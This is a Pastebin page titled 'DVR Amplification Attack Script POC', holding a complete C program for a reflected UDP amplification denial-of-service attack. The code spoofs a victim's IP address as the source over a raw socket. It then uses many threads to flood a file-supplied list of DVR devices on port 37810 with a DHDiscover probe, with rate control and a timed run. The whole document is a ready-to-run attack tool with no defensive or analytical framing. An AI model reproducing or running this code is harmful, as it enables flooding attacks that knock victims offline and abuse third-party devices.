Phenomite

DVR Amplification Attack Script POC [dvr.c]

Sep 13th, 2020
1,082
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*-------------------------------
  2. DVR DHDiscover amplification on the dumb template C script.
  3. - Phenomite
  4. -------------------------------*/
  5. #include <arpa/inet.h>
  6. #include <netinet/ip.h>
  7. #include <netinet/udp.h>
  8. #include <pthread.h>
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <string.h>
  12. #include <sys/socket.h>
  13. #include <time.h>
  14. #include <unistd.h>
  15.  
  16. // Payload and port
  17. static unsigned int DPORT = 37810;
  18. static const char PAYLOAD[] = "\xff";
  19.  
  20. // Phenomite template begin
  21. #define MAX_PACKET_SIZE 4096
  22. #define PHI 0xaaf219b9
  23. static uint32_t Q[4096], c = 362436;
  24. static unsigned int PAYLOADSIZE = sizeof(PAYLOAD) - 1;
  25.  
  26. struct list {
  27.   struct sockaddr_in data;
  28.   struct list *next;
  29.   struct list *prev;
  30. };
  31. struct list *head;
  32. volatile int tehport;
  33. volatile int limiter;
  34. volatile unsigned int pps;
  35. volatile unsigned int sleeptime = 100;
  36. struct thread_data {
  37.   int thread_id;
  38.   struct list *list_node;
  39.   struct sockaddr_in sin;
  40. };
  41.  
  42. void init_rand(uint32_t x) {
  43.   int i;
  44.   Q[0] = x;
  45.   Q[1] = x + PHI;
  46.   Q[2] = x + PHI + PHI;
  47.   for (i = 3; i < 4096; i++) {
  48.     Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  49.   }
  50. }
  51.  
  52. uint32_t rand_cmwc(void) {
  53.   uint64_t t, a = 18782LL;
  54.   static uint32_t i = 4095;
  55.   uint32_t x, r = 0xfffffffe;
  56.   i = (i + 1) & 4095;
  57.   t = a * Q[i] + c;
  58.   c = (t >> 32);
  59.   x = t + c;
  60.   if (x < c) {
  61.     x++;
  62.     c++;
  63.   }
  64.   return (Q[i] = r - x);
  65. }
  66.  
  67. /* function for header checksums */
  68. unsigned short csum(unsigned short *buf, int nwords) {
  69.   unsigned long sum;
  70.   for (sum = 0; nwords > 0; nwords--)
  71.     sum += *buf++;
  72.   sum = (sum >> 16) + (sum & 0xffff);
  73.   sum += (sum >> 16);
  74.   return (unsigned short)(~sum);
  75. }
  76.  
  77. void setup_ip_header(struct iphdr *iph) {
  78.   iph->ihl = 5;
  79.   iph->version = 4;
  80.   iph->tos = 0;
  81.   iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOADSIZE;
  82.   iph->id = htonl(61337);
  83.   iph->frag_off = 0;
  84.   iph->ttl = MAXTTL;
  85.   iph->protocol = IPPROTO_UDP;
  86.   iph->check = 0;
  87.   iph->saddr = inet_addr("127.0.0.1");
  88. }
  89. void setup_udp_header(struct udphdr *udph) {
  90.   udph->source = htons(61337);
  91.   udph->dest = htons(DPORT);
  92.   udph->check = 0;
  93.   memcpy((void *)udph + sizeof(struct udphdr), PAYLOAD, PAYLOADSIZE);
  94.   udph->len = htons(sizeof(struct udphdr) + PAYLOADSIZE);
  95. }
  96. void *flood(void *par1) {
  97.   struct thread_data *td = (struct thread_data *)par1;
  98.   char datagram[MAX_PACKET_SIZE];
  99.   struct iphdr *iph = (struct iphdr *)datagram;
  100.   struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr);
  101.   struct sockaddr_in sin = td->sin;
  102.   struct list *list_node = td->list_node;
  103.   int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  104.   if (s < 0) {
  105.     fprintf(stderr, "Could not open raw socket.\n");
  106.     exit(-1);
  107.   }
  108.   init_rand(time(NULL));
  109.   memset(datagram, 0, MAX_PACKET_SIZE);
  110.   setup_ip_header(iph);
  111.   setup_udp_header(udph);
  112.   udph->source = htons(tehport);
  113.   iph->saddr = sin.sin_addr.s_addr;
  114.   iph->daddr = list_node->data.sin_addr.s_addr;
  115.   iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);
  116.   int tmp = 1;
  117.   const int *val = &tmp;
  118.   if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) {
  119.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  120.     exit(-1);
  121.   }
  122.   init_rand(time(NULL));
  123.   register unsigned int i;
  124.   i = 0;
  125.   while (1) {
  126.     list_node = list_node->next;
  127.     iph->daddr = list_node->data.sin_addr.s_addr;
  128.     iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  129.     iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);
  130.     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data,
  131.            sizeof(list_node->data));
  132.     pps++;
  133.     if (i >= limiter) {
  134.       i = 0;
  135.       usleep(sleeptime);
  136.     }
  137.     i++;
  138.   }
  139. }
  140. int main(int argc, char *argv[]) {
  141.   if (argc < 6) {
  142.     fprintf(stdout, "%s host port listfile threads limit[-1 for none] time\n",
  143.             argv[0]);
  144.     exit(-1);
  145.   }
  146.   srand(time(NULL));
  147.   int i = 0;
  148.   head = NULL;
  149.   fprintf(stdout, "Loading list to buffer\n");
  150.   int max_len = 512;
  151.   char *buffer = (char *)malloc(max_len);
  152.   buffer = memset(buffer, 0x00, max_len);
  153.   tehport = atoi(argv[2]);
  154.   int num_threads = atoi(argv[4]);
  155.   int maxpps = atoi(argv[5]);
  156.   limiter = 0;
  157.   pps = 0;
  158.   int multiplier = 20;
  159.   FILE *list_fd = fopen(argv[3], "r");
  160.   while (fgets(buffer, max_len, list_fd) != NULL) {
  161.     if ((buffer[strlen(buffer) - 1] == '\n') ||
  162.         (buffer[strlen(buffer) - 1] == '\r')) {
  163.       buffer[strlen(buffer) - 1] = 0x00;
  164.       if (head == NULL) {
  165.         head = (struct list *)malloc(sizeof(struct list));
  166.         bzero(&head->data, sizeof(head->data));
  167.         head->data.sin_addr.s_addr = inet_addr(buffer);
  168.         head->next = head;
  169.         head->prev = head;
  170.       } else {
  171.         struct list *new_node = (struct list *)malloc(sizeof(struct list));
  172.         memset(new_node, 0x00, sizeof(struct list));
  173.         new_node->data.sin_addr.s_addr = inet_addr(buffer);
  174.         new_node->prev = head;
  175.         new_node->next = head->next;
  176.         head->next = new_node;
  177.       }
  178.       i++;
  179.     } else {
  180.       continue;
  181.     }
  182.   }
  183.   struct list *current = head->next;
  184.   pthread_t thread[num_threads];
  185.   struct sockaddr_in sin;
  186.   sin.sin_family = AF_INET;
  187.   sin.sin_addr.s_addr = inet_addr(argv[1]);
  188.   struct thread_data td[num_threads];
  189.   for (i = 0; i < num_threads; i++) {
  190.     td[i].thread_id = i;
  191.     td[i].sin = sin;
  192.     td[i].list_node = current;
  193.     pthread_create(&thread[i], NULL, &flood, (void *)&td[i]);
  194.   }
  195.   fprintf(stdout, "Yeeting\n");
  196.   for (i = 0; i < (atoi(argv[6]) * multiplier); i++) {
  197.     usleep((1000 / multiplier) * 1000);
  198.     if ((pps * multiplier) > maxpps) {
  199.       if (1 > limiter) {
  200.         sleeptime += 100;
  201.       } else {
  202.         limiter--;
  203.       }
  204.     } else {
  205.       limiter++;
  206.       if (sleeptime > 25) {
  207.         sleeptime -= 25;
  208.       } else {
  209.         sleeptime = 0;
  210.       }
  211.     }
  212.     pps = 0;
  213.   }
  214.   return 0;
  215. }
  216.  
RAW Paste Data